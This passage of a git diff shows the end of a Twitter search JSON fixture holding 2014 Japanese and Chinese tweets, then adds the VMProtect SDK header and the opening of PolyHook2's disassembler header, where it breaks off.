"in_reply_to_user_id": 2286548834, + "in_reply_to_user_id_str": "2286548834", + "in_reply_to_screen_name": "vesperia1985", + "user": { + "id": 2389045190, + "id_str": "2389045190", + "name": "りいこ", + "screen_name": "riiko_dq10", + "location": "", + "description": "サマーエルフです、りいこです。えるおくんラブです!随時ふれぼしゅ〜〜(っ˘ω˘c )*日常のどうでもいいことも呟いてますがよろしくね〜", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 67, + "friends_count": 69, + "listed_count": 0, + "created_at": "Fri Mar 14 13:02:27 +0000 2014", + "favourites_count": 120, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 324, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/503906346815610881/BfSrCoBr_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/503906346815610881/BfSrCoBr_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2389045190/1409232058", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "vesperia1985", + "name": "ユーリ", + "id": 2286548834, + "id_str": "2286548834", + "indices": [ + 0, + 13 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874853778685950, + "id_str": "505874853778685952", + "text": "【映画パンフレット】 永遠の0 (永遠のゼロ) 監督 山崎貴 キャスト 岡田准一、三浦春馬、井上真央東宝(2)11点の新品/中古品を見る: ¥ 500より\n(この商品の現在のランクに関する正式な情報については、アートフレーム... http://t.co/4hbyB1rbQ7", + "source": "IFTTT", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1319883571, + "id_str": "1319883571", + "name": "森林木工家具製作所", + "screen_name": "Furniturewood", + "location": "沖縄", + "description": "家具(かぐ、Furniture)は、家財道具のうち家の中に据え置いて利用する比較的大型の道具類、または元々家に作り付けられている比較的大型の道具類をさす。なお、日本の建築基準法上は、作り付け家具は、建築確認及び完了検査の対象となるが、後から置かれるものについては対象外である。", + "url": "http://t.co/V4oyL0xtZk", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/V4oyL0xtZk", + "expanded_url": "http://astore.amazon.co.jp/furniturewood-22", + "display_url": "astore.amazon.co.jp/furniturewood-…", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 677, + "friends_count": 743, + "listed_count": 1, + "created_at": "Mon Apr 01 07:55:14 +0000 2013", + "favourites_count": 0, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 17210, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/3460466135/c67d9df9b760787b9ed284fe80b1dd31_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3460466135/c67d9df9b760787b9ed284fe80b1dd31_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1319883571/1364804982", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/4hbyB1rbQ7", + "expanded_url": "http://ift.tt/1kT55bk", + "display_url": "ift.tt/1kT55bk", + "indices": [ + 116, + 138 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874852754907140, + "id_str": "505874852754907136", + "text": "RT @siranuga_hotoke: ゴキブリは一世帯に平均して480匹いる。", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 413944345, + "id_str": "413944345", + "name": "泥酔イナバウアー", + "screen_name": "Natade_co_co_21", + "location": "", + "description": "君の瞳にうつる僕に乾杯。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 298, + "friends_count": 300, + "listed_count": 4, + "created_at": "Wed Nov 16 12:52:46 +0000 2011", + "favourites_count": 3125, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 12237, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "FFF04D", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/378800000115928444/9bf5fa13385cc80bfeb097e51af9862a.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/378800000115928444/9bf5fa13385cc80bfeb097e51af9862a.jpeg", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/500849752351600640/lMQqIzYj_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/500849752351600640/lMQqIzYj_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/413944345/1403511193", + "profile_link_color": "0099CC", + "profile_sidebar_border_color": "000000", + "profile_sidebar_fill_color": "F6FFD1", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 23:24:23 +0000 2014", + "id": 505858599411666940, + "id_str": "505858599411666944", + "text": "ゴキブリは一世帯に平均して480匹いる。", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2243896200, + "id_str": "2243896200", + "name": "知らぬが仏bot", + "screen_name": "siranuga_hotoke", + "location": "奈良・京都辺り", + "description": "知らぬが仏な情報をお伝えします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 3288, + "friends_count": 3482, + "listed_count": 7, + "created_at": "Fri Dec 13 13:16:35 +0000 2013", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 1570, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/378800000866399372/ypy5NnPe_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/378800000866399372/ypy5NnPe_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2243896200/1386997755", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 1, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 1, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "siranuga_hotoke", + "name": "知らぬが仏bot", + "id": 2243896200, + "id_str": "2243896200", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874852603908100, + "id_str": "505874852603908096", + "text": "RT @UARROW_Y: ようかい体操第一を踊る国見英 http://t.co/SXoYWH98as", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2463035136, + "id_str": "2463035136", + "name": "や", + "screen_name": "yae45", + "location": "", + "description": "きもちわるいことつぶやく用", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 4, + "friends_count": 30, + "listed_count": 0, + "created_at": "Fri Apr 25 10:49:20 +0000 2014", + "favourites_count": 827, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": false, + "verified": false, + "statuses_count": 390, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/505345820137234433/csFeRxPm_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505345820137234433/csFeRxPm_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:45 +0000 2014", + "id": 505871779949051900, + "id_str": "505871779949051904", + "text": "ようかい体操第一を踊る国見英 http://t.co/SXoYWH98as", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1261662588, + "id_str": "1261662588", + "name": "ゆう矢", + "screen_name": "UARROW_Y", + "location": "つくり出そう国影の波 広げよう国影の輪", + "description": "HQ!! 成人済腐女子。日常ツイート多いです。赤葦京治夢豚クソツイ含みます注意。フォローをお考えの際はプロフご一読お願い致します。FRBお気軽に", + "url": "http://t.co/LFX2XOzb0l", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/LFX2XOzb0l", + "expanded_url": "http://twpf.jp/UARROW_Y", + "display_url": "twpf.jp/UARROW_Y", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 265, + "friends_count": 124, + "listed_count": 12, + "created_at": "Tue Mar 12 10:42:17 +0000 2013", + "favourites_count": 6762, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": true, + "verified": false, + "statuses_count": 55946, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/502095104618663937/IzuPYx3E_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/502095104618663937/IzuPYx3E_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1261662588/1408618604", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 29, + "favorite_count": 54, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/SXoYWH98as", + "expanded_url": "http://twitter.com/UARROW_Y/status/505871779949051904/photo/1", + "display_url": "pic.twitter.com/SXoYWH98as", + "indices": [ + 15, + 37 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 29, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/SXoYWH98as", + "expanded_url": "http://twitter.com/UARROW_Y/status/505871779949051904/photo/1", + "display_url": "pic.twitter.com/SXoYWH98as", + "indices": [ + 29, + 51 + ] + } + ], + "user_mentions": [ + { + "screen_name": "UARROW_Y", + "name": "ゆう矢", + "id": 1261662588, + "id_str": "1261662588", + "indices": [ + 3, + 12 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "zh" + }, + "created_at": "Sun Aug 31 00:28:57 +0000 2014", + "id": 505874848900341760, + "id_str": "505874848900341760", + "text": "RT @fightcensorship: 李克強總理的臉綠了!在前日南京青奧會閉幕式,觀眾席上一名貪玩韓國少年運動員,竟斗膽用激光筆射向中國總理李克強的臉。http://t.co/HLX9mHcQwe http://t.co/fVVOSML5s8", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 889332218, + "id_str": "889332218", + "name": "民權初步", + "screen_name": "JoeyYoungkm", + "location": "km/cn", + "description": "经历了怎样的曲折才从追求“一致通过”发展到今天人们接受“过半数通过”,正是人们认识到对“一致”甚至是“基本一致”的追求本身就会变成一种独裁。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 313, + "friends_count": 46, + "listed_count": 0, + "created_at": "Thu Oct 18 17:21:17 +0000 2012", + "favourites_count": 24, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 15707, + "lang": "en", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/378800000563062033/a7e8274752ce36a6cd5bad971ec7d416_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/378800000563062033/a7e8274752ce36a6cd5bad971ec7d416_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/889332218/1388896916", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "zh" + }, + "created_at": "Sat Aug 30 23:56:27 +0000 2014", + "id": 505866670356070400, + "id_str": "505866670356070401", + "text": "李克強總理的臉綠了!在前日南京青奧會閉幕式,觀眾席上一名貪玩韓國少年運動員,竟斗膽用激光筆射向中國總理李克強的臉。http://t.co/HLX9mHcQwe http://t.co/fVVOSML5s8", + "source": "Twitter Web Client", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 67661086, + "id_str": "67661086", + "name": "※范强※法特姗瑟希蒲※", + "screen_name": "fightcensorship", + "location": "Middle of Nowhere", + "description": "被人指责“封建”、“落后”、“保守”的代表,当代红卫兵攻击对象。致力于言论自由,人权; 倡导资讯公开,反对网络封锁。既不是精英分子,也不是意见领袖,本推言论不代表任何国家、党派和组织,也不标榜伟大、光荣和正确。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 7143, + "friends_count": 779, + "listed_count": 94, + "created_at": "Fri Aug 21 17:16:22 +0000 2009", + "favourites_count": 364, + "utc_offset": 28800, + "time_zone": "Singapore", + "geo_enabled": false, + "verified": false, + "statuses_count": 16751, + "lang": "en", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "FFFFFF", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/611138516/toeccqnahbpmr0sw9ybv.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/611138516/toeccqnahbpmr0sw9ybv.jpeg", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/3253137427/3524557d21ef2c04871e985d4d136bdb_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/3253137427/3524557d21ef2c04871e985d4d136bdb_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/67661086/1385608347", + "profile_link_color": "ED1313", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "E0FF92", + "profile_text_color": "000000", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 4, + "favorite_count": 2, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/HLX9mHcQwe", + "expanded_url": "http://is.gd/H3OgTO", + "display_url": "is.gd/H3OgTO", + "indices": [ + 57, + 79 + ] + } + ], + "user_mentions": [], + "media": [ + { + "id": 505866668485386240, + "id_str": "505866668485386241", + "indices": [ + 80, + 102 + ], + "media_url": "http://pbs.twimg.com/media/BwUzDgbIIAEgvhD.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwUzDgbIIAEgvhD.jpg", + "url": "http://t.co/fVVOSML5s8", + "display_url": "pic.twitter.com/fVVOSML5s8", + "expanded_url": "http://twitter.com/fightcensorship/status/505866670356070401/photo/1", + "type": "photo", + "sizes": { + "large": { + "w": 640, + "h": 554, + "resize": "fit" + }, + "medium": { + "w": 600, + "h": 519, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "small": { + "w": 340, + "h": 294, + "resize": "fit" + } + } + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "zh" + }, + "retweet_count": 4, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/HLX9mHcQwe", + "expanded_url": "http://is.gd/H3OgTO", + "display_url": "is.gd/H3OgTO", + "indices": [ + 78, + 100 + ] + } + ], + "user_mentions": [ + { + "screen_name": "fightcensorship", + "name": "※范强※法特姗瑟希蒲※", + "id": 67661086, + "id_str": "67661086", + "indices": [ + 3, + 19 + ] + } + ], + "media": [ + { + "id": 505866668485386240, + "id_str": "505866668485386241", + "indices": [ + 101, + 123 + ], + "media_url": "http://pbs.twimg.com/media/BwUzDgbIIAEgvhD.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwUzDgbIIAEgvhD.jpg", + "url": "http://t.co/fVVOSML5s8", + "display_url": "pic.twitter.com/fVVOSML5s8", + "expanded_url": "http://twitter.com/fightcensorship/status/505866670356070401/photo/1", + "type": "photo", + "sizes": { + "large": { + "w": 640, + "h": 554, + "resize": "fit" + }, + "medium": { + "w": 600, + "h": 519, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "small": { + "w": 340, + "h": 294, + "resize": "fit" + } + }, + "source_status_id": 505866670356070400, + "source_status_id_str": "505866670356070401" + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "zh" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:56 +0000 2014", + "id": 505874847260352500, + "id_str": "505874847260352513", + "text": "【マイリスト】【彩りりあ】妖怪体操第一 踊ってみた【反転】 http://t.co/PjL9if8OZC #sm24357625", + "source": "ニコニコ動画", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1609789375, + "id_str": "1609789375", + "name": "食いしん坊前ちゃん", + "screen_name": "2no38mae", + "location": "ニノと二次元の間", + "description": "ニコ動で踊り手やってます!!応援本当に嬉しいですありがとうございます!! ぽっちゃりだけど前向きに頑張る腐女子です。嵐と弱虫ペダルが大好き!【お返事】りぷ(基本は)”○” DM (同業者様を除いて)”×” 動画の転載は絶対にやめてください。 ブログ→http://t.co/8E91tqoeKX  ", + "url": "http://t.co/ulD2e9mcwb", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/ulD2e9mcwb", + "expanded_url": "http://www.nicovideo.jp/mylist/37917495", + "display_url": "nicovideo.jp/mylist/37917495", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [ + { + "url": "http://t.co/8E91tqoeKX", + "expanded_url": "http://ameblo.jp/2no38mae/", + "display_url": "ameblo.jp/2no38mae/", + "indices": [ + 125, + 147 + ] + } + ] + } + }, + "protected": false, + "followers_count": 560, + "friends_count": 875, + "listed_count": 11, + "created_at": "Sun Jul 21 05:09:43 +0000 2013", + "favourites_count": 323, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 3759, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "F2C6E4", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/378800000029400927/114b242f5d838ec7cb098ea5db6df413.jpeg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/378800000029400927/114b242f5d838ec7cb098ea5db6df413.jpeg", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/487853237723095041/LMBMGvOc_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/487853237723095041/LMBMGvOc_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1609789375/1375752225", + "profile_link_color": "FF9EDD", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "sm24357625", + "indices": [ + 53, + 64 + ] + } + ], + "symbols": [], + "urls": [ + { + "url": "http://t.co/PjL9if8OZC", + "expanded_url": "http://nico.ms/sm24357625", + "display_url": "nico.ms/sm24357625", + "indices": [ + 30, + 52 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + } + ], + "search_metadata": { + "completed_in": 0.087, + "max_id": 505874924095815700, + "max_id_str": "505874924095815681", + "next_results": "?max_id=505874847260352512&q=%E4%B8%80&count=100&include_entities=1", + "query": "%E4%B8%80", + "refresh_url": "?since_id=505874924095815681&q=%E4%B8%80&include_entities=1", + "count": 100, + "since_id": 0, + "since_id_str": "0" + } +} \ No newline at end of file diff --git a/Extern/include/VMProtectSDK.h b/Extern/include/VMProtectSDK.h new file mode 100644 index 0000000..3368dda --- /dev/null +++ b/Extern/include/VMProtectSDK.h @@ -0,0 +1,102 @@ +#pragma once + +#if defined(__APPLE__) || defined(__unix__) +#define VMP_IMPORT +#define VMP_API +#define VMP_WCHAR unsigned short +#else +#define VMP_IMPORT __declspec(dllimport) +#define VMP_API __stdcall +#define VMP_WCHAR wchar_t +#ifdef _WIN64 + #pragma comment(lib, "VMProtectSDK64.lib") +#else + #pragma comment(lib, "VMProtectSDK32.lib") +#endif // _WIN64 +#endif // __APPLE__ || __unix__ + +#ifdef __cplusplus +extern "C" { +#endif + +// protection +VMP_IMPORT void VMP_API VMProtectBegin(const char *); +VMP_IMPORT void VMP_API VMProtectBeginVirtualization(const char *); +VMP_IMPORT void VMP_API VMProtectBeginMutation(const char *); +VMP_IMPORT void VMP_API VMProtectBeginUltra(const char *); +VMP_IMPORT void VMP_API VMProtectBeginVirtualizationLockByKey(const char *); +VMP_IMPORT void VMP_API VMProtectBeginUltraLockByKey(const char *); +VMP_IMPORT void VMP_API VMProtectEnd(void); + +// utils +VMP_IMPORT bool VMP_API VMProtectIsProtected(); +VMP_IMPORT bool VMP_API VMProtectIsDebuggerPresent(bool); +VMP_IMPORT bool VMP_API VMProtectIsVirtualMachinePresent(void); +VMP_IMPORT bool VMP_API VMProtectIsValidImageCRC(void); +VMP_IMPORT const char * VMP_API VMProtectDecryptStringA(const char *value); +VMP_IMPORT const VMP_WCHAR * VMP_API VMProtectDecryptStringW(const VMP_WCHAR *value); +VMP_IMPORT bool VMP_API VMProtectFreeString(const void *value); + +// licensing +enum VMProtectSerialStateFlags +{ + SERIAL_STATE_SUCCESS = 0, + SERIAL_STATE_FLAG_CORRUPTED = 0x00000001, + SERIAL_STATE_FLAG_INVALID = 0x00000002, + SERIAL_STATE_FLAG_BLACKLISTED = 0x00000004, + SERIAL_STATE_FLAG_DATE_EXPIRED = 0x00000008, + SERIAL_STATE_FLAG_RUNNING_TIME_OVER = 0x00000010, + SERIAL_STATE_FLAG_BAD_HWID = 0x00000020, + SERIAL_STATE_FLAG_MAX_BUILD_EXPIRED = 0x00000040, +}; + +#pragma pack(push, 1) +typedef struct +{ + unsigned short wYear; + unsigned char bMonth; + unsigned char bDay; +} VMProtectDate; + +typedef struct +{ + int nState; // VMProtectSerialStateFlags + VMP_WCHAR wUserName[256]; // user name + VMP_WCHAR wEMail[256]; // email + VMProtectDate dtExpire; // date of serial number expiration + VMProtectDate dtMaxBuild; // max date of build, that will accept this key + int bRunningTime; // running time in minutes + unsigned char nUserDataLength; // length of user data in bUserData + unsigned char bUserData[255]; // up to 255 bytes of user data +} VMProtectSerialNumberData; +#pragma pack(pop) + +VMP_IMPORT int VMP_API VMProtectSetSerialNumber(const char *serial); +VMP_IMPORT int VMP_API VMProtectGetSerialNumberState(); +VMP_IMPORT bool VMP_API VMProtectGetSerialNumberData(VMProtectSerialNumberData *data, int size); +VMP_IMPORT int VMP_API VMProtectGetCurrentHWID(char *hwid, int size); + +// activation +enum VMProtectActivationFlags +{ + ACTIVATION_OK = 0, + ACTIVATION_SMALL_BUFFER, + ACTIVATION_NO_CONNECTION, + ACTIVATION_BAD_REPLY, + ACTIVATION_BANNED, + ACTIVATION_CORRUPTED, + ACTIVATION_BAD_CODE, + ACTIVATION_ALREADY_USED, + ACTIVATION_SERIAL_UNKNOWN, + ACTIVATION_EXPIRED, + ACTIVATION_NOT_AVAILABLE +}; + +VMP_IMPORT int VMP_API VMProtectActivateLicense(const char *code, char *serial, int size); +VMP_IMPORT int VMP_API VMProtectDeactivateLicense(const char *serial); +VMP_IMPORT int VMP_API VMProtectGetOfflineActivationString(const char *code, char *buf, int size); +VMP_IMPORT int VMP_API VMProtectGetOfflineDeactivationString(const char *serial, char *buf, int size); + +#ifdef __cplusplus +} +#endif diff --git a/Extern/include/polyhook2/ADisassembler.hpp b/Extern/include/polyhook2/ADisassembler.hpp new file mode 100644 index 0000000..d71c6e1 --- /dev/null +++ b/Extern/include/polyhook2/ADisassembler.hpp @@ -0,0 +1,147 @@ +// +// Created by steve on 3/21/17. +// + +#ifndef POLYHOOK_2_0_IDISASSEMBLER_HPP +#define POLYHOOK_2_0_IDISASSEMBLER_HPP + +#include "polyhook2/ErrorLog.hpp" +#include "polyhook2/Instruction.hpp" +#include "polyhook2/Enums.hpp" +#include "polyhook2/MemAccessor.hpp" + +#include +#include +#include +#include + +namespace PLH { +typedef std::unordered_map branch_map_t; + +//Abstract Disassembler +class ADisassembler { +public: + ADisassembler(PLH::Mode mode) { + m_mode = mode; + } + + virtual ~ADisassembler() = default; + + /**Disassemble a code buffer and return a vector holding the asm instructions info + * @param FirstInstruction: The address of the first instruction + * @param Start: The address of the code buffer + * @param End: The address of the end of the code buffer + * **/ + virtual insts_t disassemble(uint64_t firstInstruction, uint64_t start, uint64_t end, const MemAccessor& accessor) = 0; + + static void writeEncoding(const 